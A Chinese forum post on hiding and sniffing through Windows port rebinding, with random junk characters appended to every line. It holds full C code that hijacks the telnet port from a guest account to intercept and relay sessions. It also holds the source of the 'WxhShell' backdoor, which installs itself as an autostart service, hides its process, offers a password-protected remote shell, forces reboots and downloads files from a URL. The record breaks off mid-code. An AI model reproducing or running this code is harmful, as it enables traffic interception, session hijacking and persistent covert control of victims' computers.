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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?fxM 1<8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xm#W}Y'  
:-?ZU4)  
  saddr.sin_family = AF_INET; /4x\}qvU  
Q y qOtRk  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Kd:l8%+  
En\@d@j<u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r=Xo;d*TE  
;,77|]<XE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Oiib2Ov  
#b^6>  
  这意味着什么?意味着可以进行如下的攻击: UarLxPQ  
\F|)w|v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '+9<[]  
DzVCEhf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) orjtwF>^  
p9"dm{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QuR} 6C  
cL9 gaD$;)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~4 fE`-O  
6 byeO&d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bdL= ?KS  
7 yE\,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [* <x)  
S~/2Bw!2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \5a.JfF  
UFj H8jSBx  
  #include Y(UK:LZ'  
  #include JwI99I'  
  #include 2Qe&FeT  
  #include    o;@~uU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pX &bX_F{  
  int main() /@\`Ibe  
  { CnZ!b_J  
  WORD wVersionRequested; cN@_5  
  DWORD ret; [/a AH<9b  
  WSADATA wsaData; TtkHMPlm_  
  BOOL val; kL DpZ{  
  SOCKADDR_IN saddr; ~vXbh(MX  
  SOCKADDR_IN scaddr; 8dR `T}  
  int err; 8&JB_%Gb  
  SOCKET s; w[X-Q+7p(t  
  SOCKET sc; }u;K<<h:  
  int caddsize; x,C8):\t`B  
  HANDLE mt; F!z ^0+H(  
  DWORD tid;   2E1`r@L  
  wVersionRequested = MAKEWORD( 2, 2 ); h *R@ d  
  err = WSAStartup( wVersionRequested, &wsaData ); r^5%0_F]  
  if ( err != 0 ) { bTJ<8q  
  printf("error!WSAStartup failed!\n"); p8'$@:M\  
  return -1; |R.yuSL)(  
  } -riX=K>$  
  saddr.sin_family = AF_INET; $b`nV4p  
   ~dS15E4-Pp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e@P(+.Ke  
7(}'jZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y"lEMY  
  saddr.sin_port = htons(23); Ph yIea  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rt^~ I \V  
  { BL&AZv/T  
  printf("error!socket failed!\n"); N**)8(  
  return -1; `df!-\#  
  } O50_qu33ju  
  val = TRUE; ),yar9C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 YZ>L_$:q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x$q}lJv_  
  { X):7#x@uy  
  printf("error!setsockopt failed!\n"); XP)^81i|  
  return -1; =\lw.59  
  } # Wi?I =,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1["i,8zB  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w=#'8ZuU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sJZ2e6?n  
].s;Yxz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >B6* `3v  
  { vv.E6D^x(  
  ret=GetLastError(); ]EKg)E  
  printf("error!bind failed!\n"); [gT}<W  
  return -1; U~D~C~\2;  
  } 0B(s+#s  
  listen(s,2); uE.BB#  
  while(1) _M%>Qm  
  { jfG of*  
  caddsize = sizeof(scaddr); {wC*61@1  
  //接受连接请求 G4'Ia$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pa46,q&M  
  if(sc!=INVALID_SOCKET) x`g,>>&C  
  { $z[S0Cm  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +(2$YJ35  
  if(mt==NULL) JuSS(dJw  
  { J$}]p  
  printf("Thread Creat Failed!\n"); <8}FsRr;J  
  break; eN<L)a:J_  
  } HQ@g6  
  } l/={aF7+  
  CloseHandle(mt); D^4nT,&8  
  } WO.u{vW]'  
  closesocket(s); VgVDTWs7  
  WSACleanup(); =p_*lC%N  
  return 0; TVcA%]y{;  
  }   Nf([JP% 4  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0Fb ];:a  
  { 'S3<' X  
  SOCKET ss = (SOCKET)lpParam; 0g[ %)C  
  SOCKET sc; YVc cO~!8  
  unsigned char buf[4096]; /K|(O^nw  
  SOCKADDR_IN saddr; TR3U<:  
  long num; a U\|ZCH\]  
  DWORD val; & jqylX  
  DWORD ret; PcC@}3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <yipy[D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RiQ ]AsTtl  
  saddr.sin_family = AF_INET; OK]QDb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jMn,N9Mf  
  saddr.sin_port = htons(23); yMWh#[phH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e' M&Eh  
  { Imv#7{ndq  
  printf("error!socket failed!\n"); N" L&Z4Z  
  return -1; l$&~(YE f  
  } 4`i8m  
  val = 100; )I&.6l!#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n725hY6}<l  
  { +vy fhw4  
  ret = GetLastError(); FGi7KV=N  
  return -1; }gQ2\6o2g  
  } Rq}lW.<r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %_W4\  
  { XHU$&t`7>g  
  ret = GetLastError(); T [$-])iK  
  return -1; -8^qtB  
  } mcQL>7ts  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SO6)FiPy!n  
  { _CHzwNU  
  printf("error!socket connect failed!\n"); AtJ{d^  
  closesocket(sc); u79- B-YW^  
  closesocket(ss); kL1<H%1'  
  return -1; ?5EH/yV;  
  } [XY%<P3D  
  while(1) J- S.m(  
  { |BFzTz,o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T^7Cv{[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s21} a,eB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^($'l)I  
  num = recv(ss,buf,4096,0); xuv W6Q;  
  if(num>0) G{!er:Vwdh  
  send(sc,buf,num,0); jTR?!Mt0  
  else if(num==0) D#LV&4e>.E  
  break; r>fGj\#R =  
  num = recv(sc,buf,4096,0); gbuh04#~  
  if(num>0) _94 W@dW  
  send(ss,buf,num,0); ??"_o3  
  else if(num==0) qf(mJlU  
  break; VVDN3  
  } cuN]}=D  
  closesocket(ss); tQ{/9bN?P  
  closesocket(sc); JVu j u$k  
  return 0 ; m}'_Poc  
  } g$s;;V/8e  
}R}+8  
U=bx30brh%  
========================================================== >S I'Q7k  
!vnC-&G  
下边附上一个代码,,WXhSHELL cR3d& /_,U  
=3X>Ur  
========================================================== M<Wi:r:  
2'@m'4-N  
#include "stdafx.h" #`u}#(  
96^aI1:  
#include <stdio.h> lndz  
#include <string.h> /i"hViCrlG  
#include <windows.h> 1*8;)#%&  
#include <winsock2.h> cp@Fj"  
#include <winsvc.h> 2Xl+}M.:Y  
#include <urlmon.h> <}J !_$A  
a|FkU%sjzZ  
#pragma comment (lib, "Ws2_32.lib") g.&B8e  
#pragma comment (lib, "urlmon.lib") m,Y/ke\  
ZK]qQrIwy  
#define MAX_USER   100 // 最大客户端连接数 /u$'=!<b;  
#define BUF_SOCK   200 // sock buffer Y]([K.I=  
#define KEY_BUFF   255 // 输入 buffer +fk*c[FG  
7z$Z=cs  
#define REBOOT     0   // 重启 ]u5TvI,C  
#define SHUTDOWN   1   // 关机 Hi09?AX  
C*2%Ix18+N  
#define DEF_PORT   5000 // 监听端口 fi HE`]0  
!Axe}RD'  
#define REG_LEN     16   // 注册表键长度 !}!KT(% %  
#define SVC_LEN     80   // NT服务名长度 ~3:VM_  
D 5rH6*J  
// 从dll定义API `9r{z;UQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )5b_>Uy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \( s `=(t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qbv@}[f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =c@hE'{  
4fKvB@O@.  
// wxhshell配置信息 9;L4\  
struct WSCFG { 3wv@wqx  
  int ws_port;         // 监听端口 rL-R-;Ca  
  char ws_passstr[REG_LEN]; // 口令 "0!h- bQN  
  int ws_autoins;       // 安装标记, 1=yes 0=no %<>:$4U@]  
  char ws_regname[REG_LEN]; // 注册表键名 $L^%*DkM  
  char ws_svcname[REG_LEN]; // 服务名 5$ =[x!x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5b:1+5iF-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QDn_`c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r4mh:T4i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $jMA(e`Ye0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~ =u8H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4;L|Ua  
?r !kKMZ  
}; sa+ JN^[X  
g!~SHW)l  
// default Wxhshell configuration - jZAvb  
struct WSCFG wscfg={DEF_PORT, [k$GUU,jY  
    "xuhuanlingzhe", lW c[Q1  
    1, ~Fb@E0 }!  
    "Wxhshell", |X=p`iz1&  
    "Wxhshell", %d+Fq=<  
            "WxhShell Service", c \??kQH  
    "Wrsky Windows CmdShell Service", yc*cT%?g  
    "Please Input Your Password: ", 'aEK{#en  
  1, TIJH} Ri  
  "http://www.wrsky.com/wxhshell.exe", $}(Z]z}O;  
  "Wxhshell.exe" x~5,v5R^]  
    }; qA '^b~  
\r IOnZ.WK  
// 消息定义模块 Hpix:To  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,&,%B|gT]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1R}9k)JQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n=-vOa%  
char *msg_ws_ext="\n\rExit."; 1< vJuF^  
char *msg_ws_end="\n\rQuit."; wxHd^b  
char *msg_ws_boot="\n\rReboot..."; X.#*+k3s0  
char *msg_ws_poff="\n\rShutdown..."; y7pBcyWTE=  
char *msg_ws_down="\n\rSave to "; OFr"RGW"  
gqv+|:#  
char *msg_ws_err="\n\rErr!"; IER;d\_V<  
char *msg_ws_ok="\n\rOK!"; G T~rr*X  
} `L;.9  
char ExeFile[MAX_PATH]; |y7TYjg6  
int nUser = 0; M<Bo<,!ua  
HANDLE handles[MAX_USER]; N[Xm5J  
int OsIsNt; +}m`$B}mJ  
l0G{{R 0Y  
SERVICE_STATUS       serviceStatus; qK$O /g,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  C@*x  
er_6PV  
// 函数声明 6|p8_[e`  
int Install(void); jlb8<xIC]  
int Uninstall(void); ;}6wj@8He  
int DownloadFile(char *sURL, SOCKET wsh); L&+k`b  
int Boot(int flag); lai@,_<GV  
void HideProc(void); eM!Oc$C8[  
int GetOsVer(void); Ly(iq  
int Wxhshell(SOCKET wsl); 0dwD ?GG2  
void TalkWithClient(void *cs); ^JxVs 7  
int CmdShell(SOCKET sock); 9 5!xJdq  
int StartFromService(void); ED8{  
int StartWxhshell(LPSTR lpCmdLine); Q.$/I+&j  
P>q~ocq<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #^RIp>NN9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nP*DZC0kE&  
N=u( 3So  
// 数据结构和表定义 qf K gNZ  
SERVICE_TABLE_ENTRY DispatchTable[] = dUB;ZB7  
{ =eY  
{wscfg.ws_svcname, NTServiceMain}, }'vQUG u8z  
{NULL, NULL} p*W{*wZ_^  
}; /mJb$5=1  
r2f%E:-0G  
// 自我安装 \#biwX  
int Install(void) 8cfsl lI  
{ yE N3/-S+  
  char svExeFile[MAX_PATH]; ,sj(g/hg  
  HKEY key; c k[uvH   
  strcpy(svExeFile,ExeFile); )P R`irw  
1?)h-aN  
// 如果是win9x系统,修改注册表设为自启动 %ly&~&0  
if(!OsIsNt) { q>%.zc[x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rui 8x4c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '\QJ{/JV  
  RegCloseKey(key); :JBt qpo2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j 7);N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [|$C2Dhw=  
  RegCloseKey(key); DPY+{5q2  
  return 0; ug}u>vQ>  
    } IHW s<U  
  } sz%]rN6$  
} 4NRj>y  
else { D+AkV|  
!|9@f$Jv  
// 如果是NT以上系统,安装为系统服务 !*DY dqQ/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @=g{4(zR ^  
if (schSCManager!=0) .`KzA]&#  
{ \|vo@E  
  SC_HANDLE schService = CreateService p}~Sgi  
  ( V,zFHXO  
  schSCManager,  ~9YEb  
  wscfg.ws_svcname, cC9Zc#aK  
  wscfg.ws_svcdisp, 86KK Y2  
  SERVICE_ALL_ACCESS, "WY5Pzsi:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V9KRA 1  
  SERVICE_AUTO_START, vx$DKQK@l\  
  SERVICE_ERROR_NORMAL, yEB#*}K?  
  svExeFile, E}zGY2Xx  
  NULL, I7h v'3u  
  NULL, EFU)0IAL[  
  NULL, ENA"T-p  
  NULL, w}/+3z  
  NULL h+_:zWU  
  ); `}ZtK574  
  if (schService!=0) P7X3>5<;q  
  { Z9MU%*N  
  CloseServiceHandle(schService); Le-t<6i-V#  
  CloseServiceHandle(schSCManager); uQ ]ZMc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <QgpePyoN  
  strcat(svExeFile,wscfg.ws_svcname); sc-+?i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t\:=|t,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <2O#!bX1  
  RegCloseKey(key); "\lO Op^-  
  return 0; *k&V;?x|wt  
    } A]%*ye"NT  
  } PXl%"O%d  
  CloseServiceHandle(schSCManager); Q4Wz5n1yp7  
} ?]*"S{Cqv  
} lt'N{LFvc  
LGtw4'yr  
return 1; ]w*`}  
} K{Nj-Rqd  
@G>e Cj  
// 自我卸载 ]#S<]vA  
int Uninstall(void) 18j>x3tn  
{ m1K4_a)^[  
  HKEY key; Z6So5r%wZ  
.i;?8?  
if(!OsIsNt) { DgRn^gL{Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L;Ynq<x  
  RegDeleteValue(key,wscfg.ws_regname); B$OV^iwxK  
  RegCloseKey(key); 6 %`h2Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Ups9pQ  
  RegDeleteValue(key,wscfg.ws_regname); i6FJG\d  
  RegCloseKey(key); CG35\b;Q  
  return 0; =Y^K   
  } /A>nsN?:]  
} av'[k<  
} <RbsQ^U  
else { ^VnnYtCRz  
.|P :n'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S%?%06$  
if (schSCManager!=0) I~HA ad,k  
{ Yp3y%n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #l*w=D?  
  if (schService!=0) M) JozD%  
  { [k%u$  
  if(DeleteService(schService)!=0) { $E8}||d  
  CloseServiceHandle(schService); SEWdhthP  
  CloseServiceHandle(schSCManager); k:mW ,s|a  
  return 0; b'4}=Xpn  
  } tr A ^JY  
  CloseServiceHandle(schService); zII^Ny8D  
  } rNm_w>bq  
  CloseServiceHandle(schSCManager); ;S&anC#E  
} 2H] 7=j  
} F U L'=Xo  
M`9|8f,!a  
return 1; |<8Fa%!HHc  
} VV[Fb9W ;  
*6}'bdQbNP  
// 从指定url下载文件 fG8^|:  
int DownloadFile(char *sURL, SOCKET wsh) Ss+  
{ z X+i2,  
  HRESULT hr; >%N,F`^3  
char seps[]= "/"; g&_f%hx?  
char *token; xMpgXB!'  
char *file; 4qd( a)NdY  
char myURL[MAX_PATH]; pFBK'NE  
char myFILE[MAX_PATH]; UsCaO<A  
150x$~{/  
strcpy(myURL,sURL); 8wkt9:  
  token=strtok(myURL,seps); yr.sfPnJK  
  while(token!=NULL) &tiJ=;R1  
  { 0\k {v  
    file=token; 7pyaHe  
  token=strtok(NULL,seps); s|[qq7  
  } qjg Z  
soLmr's  
GetCurrentDirectory(MAX_PATH,myFILE); V HLNJnA  
strcat(myFILE, "\\"); Hh&qjf  
strcat(myFILE, file); Osy_C<O  
  send(wsh,myFILE,strlen(myFILE),0); JPZH%#E(  
send(wsh,"...",3,0); ra@CouR^c{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B oiS  
  if(hr==S_OK) CLuQ=-[|  
return 0; :S-{a  
else #B!M,TWf9s  
return 1; k2#|^N  
wT,=C'  
} (*T$:/zI S  
2P=~6(  
// 系统电源模块 L{XW2c$h  
int Boot(int flag) [{>1wJ Pdj  
{ u3Zu ~C  
  HANDLE hToken; X<v1ES$  
  TOKEN_PRIVILEGES tkp; _1YC9}  
=?\%E[j  
  if(OsIsNt) { `Hu2a]e9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u2[L^]|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d+ [2Sm(7  
    tkp.PrivilegeCount = 1; ZC^NhgX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uA t{WDHm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _ib @<%  
if(flag==REBOOT) { AW!A +?F6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iG=Di)O  
  return 0; }{&;\^i  
} ,.|/B^jV  
else { Q/h-Kh mz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +A$>F@u  
  return 0; m !i`|]m  
} 6 =G=4{q  
  } j0{Qy;wP )  
  else { wL>;_KdU`  
if(flag==REBOOT) { <q I!Dj{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b9v<Jk  
  return 0; x2OAkkH\]i  
} /?S^#q>m%  
else { xm=$D6O:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) & Yx12B\  
  return 0; `z7,HJ.0c  
} _lm^v%J$  
} Zdfh*MHMg  
wAL}c(EHO  
return 1; #veV {,g  
} &zP> pQr`#  
%E [HMq<H  
// win9x进程隐藏模块 U: )Gc  
void HideProc(void) k7cY^&o  
{ ^oW{N  
zW)Wt.svP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BP\6N%HC%&  
  if ( hKernel != NULL ) _w'_l>I  
  { !*?9n ^PaF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @tJic|)x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O,NVhU7,  
    FreeLibrary(hKernel); >Ml5QO$*.q  
  } OF-VVIS  
{:Kr't<XzF  
return; ?|\wJrM ]  
} B`jq"[w]-  
1i)3!fH0:  
// 获取操作系统版本 2n-kJl`: O  
int GetOsVer(void) h[<l2fy  
{ GY^;$?  
  OSVERSIONINFO winfo; {.y_{yWo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1<*U:W $g  
  GetVersionEx(&winfo); H(y Gh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tb8r+~HK  
  return 1; de TD|R  
  else dT (i*E\j  
  return 0; #5{BxX&\  
} MpIiHKQ G9  
P|C5k5  
// 客户端句柄模块 1083p9Uh  
int Wxhshell(SOCKET wsl) ovDPnf(  
{ d9%P[(yM^  
  SOCKET wsh; j9vK~_?;  
  struct sockaddr_in client; [8 H:5 Ho  
  DWORD myID; ZNL+w4  
6GqC]rd*:  
  while(nUser<MAX_USER) /{ W6]6^  
{ TNK1E  
  int nSize=sizeof(client); 3=*ur( Qy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B<a` o&?  
  if(wsh==INVALID_SOCKET) return 1; .*.eY?,V  
rUAt`ykTmN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zs,6}m\  
if(handles[nUser]==0) DQaE9gmC  
  closesocket(wsh); qV/>d' ,  
else ?ks.M'@  
  nUser++; }6=)w@v  
  } a#& ( i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MX.?tN#F|H  
D_)/.m  
  return 0; 1X9s\JKQ  
} g#cet{>  
evNe6J3  
// 关闭 socket {Qn{w%!|  
void CloseIt(SOCKET wsh) LhM$!o?W  
{ (mKH,r  
closesocket(wsh); *;~u 5y2b  
nUser--; ;-;lM6zP  
ExitThread(0); gU NWM^n  
} P|]r*1^5  
U4yl{?  
// 客户端请求句柄 "^a"`?J  
void TalkWithClient(void *cs) ~!cxRd5;F  
{ vAqj4:j  
bMNr +N  
  SOCKET wsh=(SOCKET)cs; m7u`r(&  
  char pwd[SVC_LEN]; 0z4M/WrNt  
  char cmd[KEY_BUFF]; ItZYOt|Hn  
char chr[1]; 2i1xSKRYrD  
int i,j; &ODo7@v`1  
bSz7?NAp  
  while (nUser < MAX_USER) { 9 %i\)  
6]kBG?m0  
if(wscfg.ws_passstr) { Kr `/sWZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ecR)8^1 '  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]^>:)q  
  //ZeroMemory(pwd,KEY_BUFF); 6 .)Xeb"  
      i=0; 3eXIo=  
  while(i<SVC_LEN) { vLyazVj..  
H\\FAOj  
  // 设置超时 5Z5x\CcC3  
  fd_set FdRead; <V Rb   
  struct timeval TimeOut; .>P:{''  
  FD_ZERO(&FdRead); QG2 Zh9R  
  FD_SET(wsh,&FdRead); D|Wlq~IpQ  
  TimeOut.tv_sec=8; D} j`T  
  TimeOut.tv_usec=0; cC+2%q B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `|nCnT'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Pd(_  
tMp! MQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {*[(j^OE  
  pwd=chr[0]; { I\og  
  if(chr[0]==0xd || chr[0]==0xa) { SY%y*6[6  
  pwd=0; slUi)@b  
  break; -B&(& R  
  } gZ7R^] k  
  i++; /F(n%8)Yq  
    } W I MBw mg  
bv b \G  
  // 如果是非法用户,关闭 socket 8&| o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G9yK/g&q  
} KAI2[ gs  
+@?'dw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y?3tf0t/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hpPacN  
y$SUYG'v  
while(1) { |5O>7~Tp  
o ]z#~^w  
  ZeroMemory(cmd,KEY_BUFF); }u=Oi@~  
^2+ Vt=*  
      // 自动支持客户端 telnet标准   D&D6!jz  
  j=0; ) ba~7A  
  while(j<KEY_BUFF) { lv'WRS'}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '?L^Fa_H  
  cmd[j]=chr[0]; MGt>:&s(]  
  if(chr[0]==0xa || chr[0]==0xd) { # #2'QNN  
  cmd[j]=0; ck5cO-1>6  
  break; &ah%^Z4um  
  } oW 6Hufu+o  
  j++; t"q'"FX  
    } nReld :#T  
f17E2^(I(}  
  // 下载文件 }^ ,D~b-nB  
  if(strstr(cmd,"http://")) { 31alQ\TH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M(LIF^'U:m  
  if(DownloadFile(cmd,wsh)) {7z]+h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rqp#-04*W  
  else >RAg63!`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #~"IlBk\  
  } ,_Bn{T=U  
  else { (I#6!Yt9J  
80[# 6`  
    switch(cmd[0]) { kwc Cf2  
  RO,TNS~  
  // 帮助 _lwKa, }  
  case '?': { a*U[;(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jTIG#J)  
    break; ~$5XiY8A  
  } *qy \%A  
  // 安装 i\ X3t5  
  case 'i': { +KIz#uqF8Z  
    if(Install()) X~0 -WBz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YRX^fZ-b  
    else ,v>;/qm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %\HPYnIe  
    break; 8Sj<,+XFq  
    } wGKxT ap  
  // 卸载 <TtPwUX  
  case 'r': { abR<( H12  
    if(Uninstall()) qpYgTn8l7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vf{$2 rC  
    else 4=Ru{ewRV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xL"J?Gy  
    break; ~44u_^a  
    } az0=jou<Zl  
  // 显示 wxhshell 所在路径 &zX  W  
  case 'p': { H/x0'  
    char svExeFile[MAX_PATH]; x"e;T,c  
    strcpy(svExeFile,"\n\r"); ION o&~-l  
      strcat(svExeFile,ExeFile); `v``}8tm  
        send(wsh,svExeFile,strlen(svExeFile),0); 8VMA~7^  
    break; \]]K{DO  
    } |xFA}  
  // 重启 ~rdS#f&R2  
  case 'b': { ZF[W<Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1LRP R@b^  
    if(Boot(REBOOT)) ISs&1`Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S*h^7?Bu  
    else { if|5v^/  
    closesocket(wsh); 9=MNuV9/s  
    ExitThread(0); N wk  
    } )- &@ 8`  
    break; t,|Apl]  
    } O@a OKk  
  // 关机 &'W7-Z\j-  
  case 'd': { ?j.a>{  
